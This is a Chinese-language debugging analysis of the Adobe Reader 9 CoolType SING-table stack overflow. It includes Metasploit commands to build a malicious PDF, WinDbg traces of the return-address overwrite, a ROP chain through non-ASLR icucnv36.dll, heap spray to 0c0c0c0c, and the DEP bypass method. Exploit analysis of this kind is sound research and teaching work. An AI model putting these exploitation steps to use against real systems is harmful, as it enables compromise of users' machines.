0x00 调试环境与漏洞样本
Windows7 WinDbg
Adobe Reader:9.0
这是一个在metasploit中包含的漏洞,可以从metasploit中生成pdf。
use exploit/windows/fileformat/adobe_cooltype_sing
set payload windows/exec
set cmd calc.exe
exploit
0x01 漏洞调试
为了方便调试可以关闭CoolType.dll的ASLR(将PE结构中的IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE至零)
CVE中可以看到漏洞是strcat造成的栈溢出,那么首先断在strcat上看看参数,用sxe ld:cooltype.dll
可以再加载cooltype.dll后断下,这时对strcat设断。
sxe ld:cooltype.dll
0:000> sxe ld:cooltype.dll
0:000> g
...
0:000:x86> g
...
ModLoad: 00000000`08000000 00000000`0825f000 C:\Program Files (x86)\Adobe\Reader 9.0\Reader\CoolType.dll
ntdll!NtMapViewOfSection+0xa:
00000000`78eb9b0a c3 ret
0:000> bp 0803dba1
0:000> g
...
0:000:x86> dd esp L4
0018e420 0018e490 0731219c 6c0a5267 00000004
0731219c指向SING表中的unique域,0018e490为栈上的地址,注意到ebp = 0018e490,但是saved_ebp存放的位置是ebp + 108h,也就是栈中最多有104h的位置可以被覆盖。
0:000:x86> r ebp
ebp=0018e490
0:000:x86> dd 0731219c
0731219c acc41b74 ba6a60e4 4a82a714 0c0c0c0c
073121ac 22d1b3ea 430fa496 bfb08d6a 080c66da
073121bc 66486027 9ff85d20 5ba01137 b9aa0a8a
073121cc ad254865 9040bf99 0bda682f 01a5a9ba
073121dc ff4c0164 3c13c239 64ca5662 c774c1a5
073121ec 084d0889 5e102077 3b346415 215df71b
073121fc 83c5f55f 032cff20 337db4a6 de028a42
0731220c 93535d63 370413f6 6264275e f7b684ba
单步执行,可以看到函数的返回地址是被覆盖的,GS保护的检查也无法通过
0:000:x86> dd ebp+108 L4
0018e598 0018e6d0 080dcf4f 0018e6d0 0018e5c0
0:000:x86> p
CoolType+0x3dba6:
0803dba6 59 pop ecx
0:000:x86> dd ebp+108 L4
0018e598 5dad9334 87d86693 da3e7aab 7cea194a
单步执行发现地址0803DCA5处执行的call sub_8016AF9
会报错,步入查看。
0:000:x86> bp 0803dca5
0:000:x86> g
Breakpoint 1 hit
CoolType+0x3dca5:
0803dca5 e84f8efdff call CoolType+0x16af9 (08016af9)
0:000:x86> t
CoolType+0x16af9:
08016af9 55 push ebp
同样可以跟到08016b71处报错和0801ba5c处报错,在0801ba5c处跳入函数sub_808AE70,这里0808b062的call dword ptr [eax]
跳入了rop链。
0:000:x86> bp 0808b062
0:000:x86>
CoolType!CTInit+0x44b5d:
0808b062 ff10 call dword ptr [eax] ds:002b:0018e688=4a80cb38
eax的值0018e688是我们覆盖的栈空间,4a80cb38是位于icucnv36.dll,icucnv36.dll是一个没有开ASLR的dll
0:000:x86> u 4a80cb38
icucnv36!ucnv_toUChars_3_6+0x162:
4a80cb38 81c594070000 add ebp,794h
4a80cb3e c9 leave
4a80cb3f c3 ret
icucnv36!ucnv_getNextUChar_3_6:
4a80cb40 55 push ebp
4a80cb41 8bec mov ebp,esp
4a80cb43 8b5514 mov edx,dword ptr [ebp+14h]
4a80cb46 83ec2c sub esp,2Ch
4a80cb49 85d2 test edx,edx
拉低栈底再leave等效于修改了esp,可以看到esp也位于我们覆盖的栈空间,此时ret的地址也被控制到第二个片段中
0:000:x86> t
icucnv36!ucnv_toUChars_3_6+0x162:
4a80cb38 81c594070000 add ebp,794h
0:000:x86> p
icucnv36!ucnv_toUChars_3_6+0x168:
4a80cb3e c9 leave
0:000:x86>
icucnv36!ucnv_toUChars_3_6+0x169:
4a80cb3f c3 ret
0:000:x86> r esp
esp=0018e498
0:000:x86> dd esp L4
0018e498 4a82a714 0c0c0c0c 22d1b3ea 430fa496
第二个gadget修改esp至0c0c0c0c
0:000:x86> t
icucnv36!icu_3_6::CharacterIterator::setToStart+0x8:
4a82a714 5c pop esp
0:000:x86> u $ip
icucnv36!icu_3_6::CharacterIterator::setToStart+0x8:
4a82a714 5c pop esp
4a82a715 c3 ret
0:000:x86> dd esp L4
0018e49c 0c0c0c0c 22d1b3ea 430fa496 bfb08d6a
执行第一条语句后,查看一下此时栈的情况,虽然HeapSpray填充了很多滑板指令,但地址0c0c0c0c对应的内容就是shellcode的开始
0:000:x86> p
icucnv36!icu_3_6::CharacterIterator::setToStart+0x9:
4a82a715 c3 ret
0:000:x86> dd esp-0x20 L20
0c0c0bec 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
0c0c0bfc 0c0c0c0c 0c0c0c0c 0c0c0c0c 41414141
0c0c0c0c 4a8063a5 4a8a0000 4a802196 4a801f90
0c0c0c1c 4a84903c 4a80b692 4a801064 4a8522c8
0c0c0c2c 10000000 00000000 00000000 00000002
0c0c0c3c 00000102 00000000 4a8063a5 4a801064
0c0c0c4c 4a842db2 4a802ab1 00000008 4a80a8a6
0c0c0c5c 4a801f90 4a849038 4a80b692 4a801064
后面按照CreateFileA -->CreateFileMappingA --> MapViewOfFile --> memcpy的顺序将shellcode拷贝到一段可读可写可执行的内存中
![](/qrcode.jpg)
0x02 思考
- 如果fuzz出unique溢出的崩溃,这时候对填充的数据下数据断点,可以查看是否存在指令流劫持的可能
- 0808b062处存在的劫持后的利用,先找让esp位于我们可控的栈空间内,然后pop esp就可到达。
- ASLR是用icucnv36.dll绕过的,DEP绕过是自行开辟一段可执行的空间,然后将代码拷贝进行。